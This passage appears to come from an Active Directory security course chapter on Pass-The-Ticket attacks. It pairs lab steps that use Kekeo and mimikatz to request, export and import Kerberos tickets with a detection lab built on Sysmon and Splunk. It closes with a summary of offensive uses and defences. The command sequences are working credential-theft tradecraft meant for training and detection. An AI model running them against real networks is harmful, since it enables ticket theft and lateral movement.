Exercise 2: Requesting Delegated TGT

Objective: Obtain delegated TGT with visible session key.

Prerequisites:

  • Lab domain with CLIENT01
  • User "alice" account
  • Kekeo

Steps:

  1. List current TGT (note session key)

    CLIENT01> kekeo.exe
    kekeo # kerberos::list
    - Observe TGT session key shows 0000... (cannot export)
  2. Find delegation-enabled hosts

    powershell
    PS> Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
    - Identify DC01 has unconstrained delegation
  3. Request delegated TGT

    kekeo # tgt::deleg /host:dc01.corp.local
    - Observe: Delegated TGT exported with session key
  4. Import and verify

    kekeo # kerberos::ptt alice@CORP.LOCAL_krbtgt~CORP.LOCAL@CORP.LOCAL_delegate.kirbi
    kekeo # kerberos::list
    - Verify: Session key now visible (not 0000...)
    - Verify: "forwarded" flag is set
  5. Use delegated TGT

    C:\> net use \\fileserver\share
    # Successfully authenticates using delegated TGT

Questions:

  • Why does the delegated TGT include the session key?
  • What flag indicates this is a delegated ticket?
  • What are the security implications of unconstrained delegation?

Exercise 3: Detection Lab

Objective: Configure detection for Pass-The-Ticket attacks.

Prerequisites:

  • Lab domain with Sysmon installed
  • SIEM or log aggregation
  • Administrative access

Steps:

  1. Deploy Sysmon Configuration

    xml
    <Sysmon schemaversion="4.50">
      <EventFiltering>
        <ProcessAccess onmatch="include">
          <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
        </ProcessAccess>
        <FileCreate onmatch="include">
          <TargetFilename condition="end with">.kirbi</TargetFilename>
        </FileCreate>
      </EventFiltering>
    </Sysmon>
  2. Enable Kerberos Auditing on DC

    - Enable Event ID 4768, 4769, 4770
    - Forward to SIEM
  3. Perform Pass-The-Ticket Attack

    - Extract tickets with mimikatz
    - Import on different system
    - Access file share
  4. Analyze Detection Events

    Sysmon Event ID 10: mimikatz.exe → lsass.exe (0x1010)
    Sysmon Event ID 11: *.kirbi file created
    DC Event ID 4769: TGS request from unusual IP
  5. Create Detection Rule

    Splunk SPL:
    index=windows (EventCode=10 TargetImage="*lsass.exe" GrantedAccess="0x1010")
    OR (EventCode=11 TargetFilename=".kirbi")
    | transaction host maxspan=5m
    | where EventCode=10 AND EventCode=11
    | table _time, host, user, SourceImage, TargetFilename
  6. Test False Positive Rate

    - Perform legitimate admin tasks
    - Run security tools
    - Measure alert accuracy

Deliverable: Detection rule with <5% false positive rate and 100% true positive rate for Pass-The-Ticket.

Summary

Pass-The-Ticket represents a fundamental exploitation of Kerberos' ticket-based authentication model, where valid tickets extracted from one system can be injected into another to gain unauthorized access without requiring knowledge of passwords or password hashes. This technique is particularly powerful because Kerberos tickets are bearer tokens—possession of a valid ticket is sufficient for authentication, and services typically do not validate tickets against the domain controller for each access attempt.

Key Technical Points:

  1. Ticket Extraction Methods: Non-privileged extraction via Windows APIs (kerberos::list) accesses only the current user's session, while privileged extraction (sekurlsa::tickets) reads LSASS memory directly to obtain all users' tickets, bypassing Windows export restrictions.

  2. TGT vs TGS Usage: TGTs provide universal access by enabling service ticket requests for any resource, while TGS tickets grant direct access to specific services without KDC interaction, each offering distinct operational advantages.

  3. Delegation Abuse: Requesting delegated TGTs from servers configured for unconstrained delegation (particularly domain controllers) yields forwardable tickets with visible session keys, overcoming Windows' protection of TGT session keys for local administrators.

  4. Ticket Replacement Behavior: Each logon session maintains only one TGT, with imports replacing previous TGTs, while service tickets accumulate, requiring operators to track which user context is active.

  5. Detection Opportunities: Primary detection vectors include Sysmon Event ID 10 (LSASS access), Event ID 11 (.kirbi file creation), domain controller Event ID 4769 (anomalous TGS requests), and behavioral analytics detecting authentication from unusual IP addresses or times.

  6. Defensive Strategies: LSA Protected Process Light blocks LSASS memory access, Credential Guard isolates credentials in VTL-1, reduced ticket lifetimes limit attack windows, and eliminating unconstrained delegation prevents delegation abuse.

Operational Considerations:

For offensive practitioners, Pass-The-Ticket enables:

  • Credential reuse across systems without password knowledge
  • Stealthy lateral movement (TGS-based access avoids KDC logs)
  • Bypassing password changes (tickets valid until expiration)
  • Privilege escalation through ticket theft from privileged user sessions
  • Persistent access through ticket renewal

For defensive teams, protection requires:

  • LSA PPL deployment to prevent ticket extraction
  • Sysmon monitoring for LSASS access and .kirbi creation
  • Behavioral analytics detecting anomalous authentication patterns
  • Eliminating unconstrained delegation configurations
  • Reducing ticket lifetimes to limit attack windows
  • Network segmentation to restrict lateral movement

Strategic Importance:

Pass-The-Ticket demonstrates that Kerberos security depends not only on cryptographic protections but also on securing the systems where tickets are cached. While Kerberos provides strong authentication protocols, the operating system's credential storage (LSASS memory) becomes a high-value target. Organizations must recognize that ticket theft has similar impact to credential theft—both enable unauthorized access, and stolen tickets remain valid even after password changes.

In the broader context of Active Directory attacks, Pass-The-Ticket often serves as an intermediate step in attack chains: initial compromise leads to ticket extraction, stolen tickets enable lateral movement, lateral movement exposes additional credentials, and cascading compromises ultimately yield domain admin access. Understanding and defending against Pass-The-Ticket is therefore critical to preventing escalation from initial foothold to domain compromise.

The technique also highlights the importance of credential hygiene—limiting who logs onto which systems, reducing privileged account usage, and implementing time-based access controls all reduce the opportunity for attackers to extract high-value tickets. Combined with runtime protections (LSA PPL, Credential Guard) and detection capabilities (Sysmon, behavioral analytics), organizations can significantly raise the cost and risk for attackers attempting Pass-The-Ticket operations.


Previous Chapter: Chapter 25: Kerberos Tickets

Next Chapter: Chapter 27: Kerberos Change Password

Related Chapters: